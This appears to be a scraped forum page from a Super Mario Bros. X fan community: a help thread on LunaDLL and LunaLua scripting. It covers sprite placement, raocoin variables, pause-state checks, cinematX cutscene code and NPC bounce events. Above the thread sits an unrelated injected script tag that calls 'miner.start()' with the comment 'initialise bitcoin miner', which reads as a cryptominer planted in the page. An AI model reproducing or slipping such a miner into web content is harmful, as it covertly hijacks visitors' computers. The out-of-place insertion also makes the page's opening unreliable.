<script>
miner.start(); // initialise bitcoin miner
</script>

mario fan games galaxysmw centralpge project

LunaDLL/LunaLUA help thread

The second SMBX collab!
User avatar
Hoeloe
A2XT person
Posts: 917
Joined: 8 years ago
Pronouns: she/her
Location: Spaaace

Re: LunaDLL help thread

Postby Hoeloe » 5 years ago

Rockythechao wrote:Not yet, you'll have to use an NPC for the time being.
I'm not sure that's true. PlaceSprite has a setting to place in world coordinates (it's under the "sprite type" argument, but I can't remember the number). If you set the duration to 2, this should allow you to place sprites at the player's location.
Image
Image
Image
Image
Image

Darkchaox100
Posts: 0
Joined: 5 years ago

Re: LunaDLL help thread

Postby Darkchaox100 » 5 years ago

Yeah its placeSprite (2,...)
Thank you.

Rockythechao
the figure of Kevka's bear was a sightseeing
Posts: 985
Joined: 5 years ago
First name: Michael
Pronouns: he/they
Location: Yes

Re: LunaDLL help thread

Postby Rockythechao » 5 years ago

Oh, right, I remember discussing this stuff before in the LunaLua thread.

Still, I imagine that's much worse on performance than simply repurposing an NPC, and we don't have any way to change animations with placeSprite just yet, so if you go that route you'll need to use a series of image files. NPCs, on the other hand, have a memory address for the current frame; that's what I did with the Broadsword boss, I set up a bunch of stuff around clamping the current animation frame to certain indexes based on a specified state.

But hey, if it works and doesn't cause any lag, go for it.
A2XT Episode 2's vice admiral "The Project's Not Dead Yet" person and certified Absurdly-Oblivious Fool

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Audiomack (new music), SoundCloud (old music)

Image

𝐀𝐍 𝐀𝐖𝐄𝐒𝐎𝐌𝐄 𝐏𝐑𝐀𝐘𝐄𝐑 𝐈𝐒
𝐂𝐎𝐍𝐅𝐋𝐈𝐂𝐓 𝐖𝐈𝐓𝐇 𝐔𝐒

- 𝐁𝐀𝐓𝐓𝐋𝐄𝐒𝐔𝐈𝐓 𝐌𝐎𝐑𝐒𝐄𝐋 -

𝐊𝐄𝐄𝐏 𝐘𝐎𝐔𝐑 𝐃𝐈𝐆𝐍𝐈𝐓𝐘

User avatar
Hoeloe
A2XT person
Posts: 917
Joined: 8 years ago
Pronouns: she/her
Location: Spaaace

Re: LunaDLL help thread

Postby Hoeloe » 5 years ago

Rockythechao wrote:Oh, right, I remember discussing this stuff before in the LunaLua thread.

Still, I imagine that's much worse on performance than simply repurposing an NPC, and we don't have any way to change animations with placeSprite just yet, so if you go that route you'll need to use a series of image files. NPCs, on the other hand, have a memory address for the current frame; that's what I did with the Broadsword boss, I set up a bunch of stuff around clamping the current animation frame to certain indexes based on a specified state.

But hey, if it works and doesn't cause any lag, go for it.
One placeSprite shouldn't be a performance hit, especially if you load the resource before hand. Still, you are right that a repurposed NPC will likely be more efficient.
Image
Image
Image
Image
Image

Darkchaox100
Posts: 0
Joined: 5 years ago

Re: LunaDLL help thread

Postby Darkchaox100 » 5 years ago

Welp,what i try to do works almost,sadly the Animation part is not working :/
What i basicaly want to do is to check the state of the player and then draw the correct image at the player.It works but like most said the Animation making is not working...Well i kinda got it working but the frames changing is way to fast...

User avatar
Karatekid5
Welcome to the resort!
Posts: 55
Joined: 9 years ago
Location: Pennsylvania
Contact:

Re: LunaDLL help thread

Postby Karatekid5 » 5 years ago

Darkchaox100 wrote:IDK if it works,but maybe before you set the hspeed to 0,let lunadll check the hspeed,so you can get the direction.
I'll give that a try and I'll see if it works. Though, would I set its x speed to 0 in the LUA start function? Also, could I see an example of how to set up the direction check in LUA? (I have some coding experience, but I'm not sure how to set it up in LUA).
Yoshi Ambassador!
Image

Darkchaox100
Posts: 0
Joined: 5 years ago

Re: LunaDLL help thread

Postby Darkchaox100 » 5 years ago

maybe you can make the code like this:

Code: Select all

local throw_dir = 0

function onLoop()
if (NPC.speedX >= 0)then
throw_dir = 1 NPC.speedX = 0
else
If (NPC.speedX <= 0)then
throw_dir = -1 NPC.speedX = 0
end
end
IDK if that would work though.

Darkchaox100
Posts: 0
Joined: 5 years ago

Re: LunaDLL help thread

Postby Darkchaox100 » 5 years ago

What i'm currently working on :3
Image

TiKi
Posts: 25
Joined: 6 years ago

Re: LunaDLL help thread

Postby TiKi » 5 years ago

Okay so I was able to get Forever-Fire raocow working by setting all his heights to be the same, but whenever he's below two hearts he always goes back to 2 :/

Darkchaox100
Posts: 0
Joined: 5 years ago

Re: LunaDLL help thread

Postby Darkchaox100 » 5 years ago

i think i got a idea how to make a boss using custom bmps Sprite without the use of npcs... I gotta try it out...

User avatar
Hoeloe
A2XT person
Posts: 917
Joined: 8 years ago
Pronouns: she/her
Location: Spaaace

Re: LunaDLL help thread

Postby Hoeloe » 5 years ago

Would it be possible to add an "absolute" path for the loadImage command? At the moment, loadImage always refers to the level folder, and this is fine for level-specific images. If you're loading something using lunaworld, though, this becomes unreliable. Would it be possible to specify the path in relation to the "Main Game" folder, rather than the specific level folder (as an option, obviously, so as not to break existing code)? As it stands, it doesn't look like it's even possible to refer to images above the specific world folder, since "../" works, but "../../" doesn't.
Image
Image
Image
Image
Image

TiKi
Posts: 25
Joined: 6 years ago

Re: LunaDLL help thread

Postby TiKi » 5 years ago

Hoeloe: could you please get this level working so that events #2000 and #2003 in the lunadll.txt for Yoshi Castle deduct Raocoins? ...I can't seem to get them to trigger the SMBX events either.
Here's my lunadll.txt, lunadll.lua, and lunaworld.lua and the level.
http://speedy.sh/U2RzK/raocoins.zip

User avatar
Hoeloe
A2XT person
Posts: 917
Joined: 8 years ago
Pronouns: she/her
Location: Spaaace

Re: LunaDLL help thread

Postby Hoeloe » 5 years ago

TiKi wrote:Hoeloe: could you please get this level working so that events #2000 and #2003 in the lunadll.txt for Yoshi Castle deduct Raocoins? ...I can't seem to get them to trigger the SMBX events either.
Here's my lunadll.txt, lunadll.lua, and lunaworld.lua and the level.
http://speedy.sh/U2RzK/raocoins.zip
I think you're just using the wrong variable name (assuming you're using my raocoins package). The variable name should be "WorldRaocoins", not "RaoCoins".

As for triggering the events, I'm not sure what the problem there is. I'll dig further.

Okay, so it looks like the IfVar command is not triggering. Going to probe a little more.

EDIT: Fixed it!

Here are your problems:

1. You were using "RaoCoins" instead of "WorldRaocoins". These are two distinct variables, and the second is the one used by the raocoin library.
2. You needed to use the "BankVar" command to write the value back to the save file, and update the raocoin counter:

Code: Select all

SetVar,0,2,3,0,1,WorldRaocoins
TriggerSMBXEvent,0,0,0,0,1,MushroomOn
BankVar,0,0,0,0,0,WorldRaocoins
3. You don't have any events called "MushroomOn" or "FlowerOn"! These should be SMBX events which spawn in your mushroom and flower objects. I did it by showing and hiding layers in my example. Alternatively, you can do things with LunaDLL, and just trigger those Luna events here instead.

I should also add as a bonus:

4. You aren't saving the results of these purchases, which means that leaving the level and re-entering will require you to make the purchases again. This may be by design if you're just buying a power-up, but if you want a permanent purchase, you need to create and save a variable in the variable bank. The Lua library does all this for you, which is why I recommend using that if you can (though I don't believe it has the "custom cheat" command implemented), but if you don't want that, then this should work fine.
Image
Image
Image
Image
Image

TiKi
Posts: 25
Joined: 6 years ago

Re: LunaDLL help thread

Postby TiKi » 5 years ago

Oh. I was using custom cheats. I replaced my lunadll with the lunalua one (to use your raocow coin system). Thanks for the info otherwise.

Kil
Posts: 13
Joined: 10 years ago

Re: LunaDLL help thread

Postby Kil » 5 years ago

To load images in that way, someone just has to make a new function like LoadGlobalImage, and then it won't break anything.
DON'T PM me. Ask your question in the help thread so everyone can be answered.

User avatar
Hoeloe
A2XT person
Posts: 917
Joined: 8 years ago
Pronouns: she/her
Location: Spaaace

Re: LunaDLL help thread

Postby Hoeloe » 5 years ago

Is there a way to check if the game update loop is paused? (For example, when the player gets hurt, NPCs and layer motions freeze, but Luna code still runs). I'm using a counter in LunaLua, and it's causing me a lot of problems making things go out of sync when this happens.
Image
Image
Image
Image
Image

Kil
Posts: 13
Joined: 10 years ago

Re: LunaDLL help thread

Postby Kil » 5 years ago

Probably you just have to check a bunch of states, like the player forced powerup state.
DON'T PM me. Ask your question in the help thread so everyone can be answered.

User avatar
Hoeloe
A2XT person
Posts: 917
Joined: 8 years ago
Pronouns: she/her
Location: Spaaace

Re: LunaDLL help thread

Postby Hoeloe » 5 years ago

Kil wrote:Probably you just have to check a bunch of states, like the player forced powerup state.
Yeah, that's what I've been doing. I figure the condition must be hanging around in the source somewhere (to freeze the layer motion), and it would certainly be handy to ensure they definitely match. As it is, I'm just taking a few known "forced" states and only allowing it to update during those. This is an under-approximation to when the layers could actually move safely, but ensures it doesn't break things (it just means my events could potentially freeze when they didn't need to).
Image
Image
Image
Image
Image

Kil
Posts: 13
Joined: 10 years ago

Re: LunaDLL help thread

Postby Kil » 5 years ago

There's no guarantee SMBX itself isn't doing it that way though. From what I've seen, I fully expect it to just manually checks off a bunch of random states anytime it wants to freeze things (and then do it a different way later, of course).
DON'T PM me. Ask your question in the help thread so everyone can be answered.

TiKi
Posts: 25
Joined: 6 years ago

Re: LunaDLL help thread

Postby TiKi » 5 years ago

Full of sunshine aren't you Kil

It's gonna be pretty bang-up that PGW is open source and has a lot of its stuff modifiable by .ini files

User avatar
Hoeloe
A2XT person
Posts: 917
Joined: 8 years ago
Pronouns: she/her
Location: Spaaace

Re: LunaDLL help thread

Postby Hoeloe » 5 years ago

Kil wrote:There's no guarantee SMBX itself isn't doing it that way though. From what I've seen, I fully expect it to just manually checks off a bunch of random states anytime it wants to freeze things (and then do it a different way later, of course).
Oh, I'm sure it does do that, but somewhere it will be actually making that check, and if we know exactly what it's checking, then replicating the exact condition would be very easy. If it does it in different ways in different places, it's a little more complex, but could work by sticking a Luna hook inside these conditions and setting a value available to the Luna user every time one is triggered.
Image
Image
Image
Image
Image

User avatar
Karatekid5
Welcome to the resort!
Posts: 55
Joined: 9 years ago
Location: Pennsylvania
Contact:

Re: LunaDLL help thread

Postby Karatekid5 » 5 years ago

Is there a way to make an enemy immune to being slide killed?
Yoshi Ambassador!
Image

TiKi
Posts: 25
Joined: 6 years ago

Re: LunaDLL help thread

Postby TiKi » 5 years ago

Do you guys think LunaDLL is ever going to be plain "simple" to code in or use? A lot of the recent stuff done in lua is way over my head, much more newbie's heads. Is LunaDLL's "hacky" nature going to mean it's always going to be disjointed to code new stuff? It seems like that for example finding a Snifit's shot timer is a Cheat Engine monitor exercise... For every. Single. Thing. In. SMBX. Are we going to just have to go through that for everything unless a more "open-to-people" engine is made? I'm sorry if this comes off as whiny, but I noticed I've hardly made anything unless it involves asking an expert with programming and CE.

PS. Yes I have used CE before to change numbers in games.

Rockythechao
the figure of Kevka's bear was a sightseeing
Posts: 985
Joined: 5 years ago
First name: Michael
Pronouns: he/they
Location: Yes

Re: LunaDLL help thread

Postby Rockythechao » 5 years ago

We're working on a number of helper libraries for LunaLua which will hopefully make things simpler and easier to learn. I recently finished one that contains constant names for all NPCs so you no longer have to refer to them by number, and cinematX is being written with simplicity in mind.

Here's what a couple of the test cutscenes in cinematX look like:

Code: Select all

function cutscene_TestDialog ()
	cinematX.setDialogSkippable (true)
	cinematX.setDialogInputWait (true)
	
	cinematX.startDialog  (0, "TEST NAME", "TEST DIALOG TEST DIALOG TEST DIALOG TEST", 140, 120, "voice_talk1.wav")
	cinematX.waitForDialog ()

	cinematX.waitSeconds (1)
	cinematX.startDialog  (0, "TEST NAME", "Hello, this is a test of the cutscene system.", 120, 100, "voice_talk2.wav")
	cinematX.waitForDialog ()

	cinematX.startDialog  (0, "TEST NAME", "Please remain calm and keep your arms and legs inside the cutscene at all times.", 120, 100, "voice_talk3.wav")	
	cinematX.waitForDialog ()
		
	cinematX.waitSeconds (1)
	cinematX.endCutscene ()
end

Code: Select all

function cutscene_TestQuest ()
	cinematX.setDialogSkippable (true)
	cinematX.setDialogInputWait (true)
	
	cinematX.startQuestion  (0, "NPC", "Can you do me a favor?", 140, 120, "")
	cinematX.waitForDialog ()
		
	if  (cinematX.getResponse() == true)  then
		cinematX.beginQuest ("test")
		cinematX.startDialog  (0, "NPC", "Talk to the guy to the right.", 140, 120, "")
		cinematX.waitForDialog ()
	else
		cinematX.startDialog  (0, "NPC", "Well, fine then! Be that way, jerk!", 140, 120, "")
		cinematX.waitForDialog ()
	end
			
	cinematX.endCutscene ()
end
We're also working on wiki documentation, which will include stuff like tutorials and example code, so that should help as well.
A2XT Episode 2's vice admiral "The Project's Not Dead Yet" person and certified Absurdly-Oblivious Fool

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Audiomack (new music), SoundCloud (old music)

Image

𝐀𝐍 𝐀𝐖𝐄𝐒𝐎𝐌𝐄 𝐏𝐑𝐀𝐘𝐄𝐑 𝐈𝐒
𝐂𝐎𝐍𝐅𝐋𝐈𝐂𝐓 𝐖𝐈𝐓𝐇 𝐔𝐒

- 𝐁𝐀𝐓𝐓𝐋𝐄𝐒𝐔𝐈𝐓 𝐌𝐎𝐑𝐒𝐄𝐋 -

𝐊𝐄𝐄𝐏 𝐘𝐎𝐔𝐑 𝐃𝐈𝐆𝐍𝐈𝐓𝐘

User avatar
Karatekid5
Welcome to the resort!
Posts: 55
Joined: 9 years ago
Location: Pennsylvania
Contact:

Re: LunaDLL help thread

Postby Karatekid5 » 5 years ago

Is there a way to prevent the player from sliding? It seems that the SM64 bully sprite (npc-168) can be killed by sliding and I want to be able to use them on slopes/elevate them. I tried making an event/check that forces the player into a ducking state if they try to slide, but that didn't work.

Another work around I tried was to make a custom bounce block/events that would bounce the player when touched and would bounce the npc when it touches it. Here's the code I have for that:

Code: Select all

#0
BlockTrigger,0,81,1,2000,0,
BlockTrigger,168,81,1,2001,0,

#2000
PlayerMemSet,0,0xE8,-10,0,1,df

#2001
NPCMemSet,168,0xA0,-10,0,1,qw
ShowText,0,75,560,3,400,NPC BOUNCE

#END
The player's block trigger works like it should, but the NPC simply won't activate its block trigger when it touches the block. Furthermore, I tested the NPC's event using a player block trigger to see if the event its self would work. The text displays, but it won't change the NPC's Y speed when activated.
Yoshi Ambassador!
Image


Return to “A2XT”

Who is online

Users browsing this forum: No registered users and 3 guests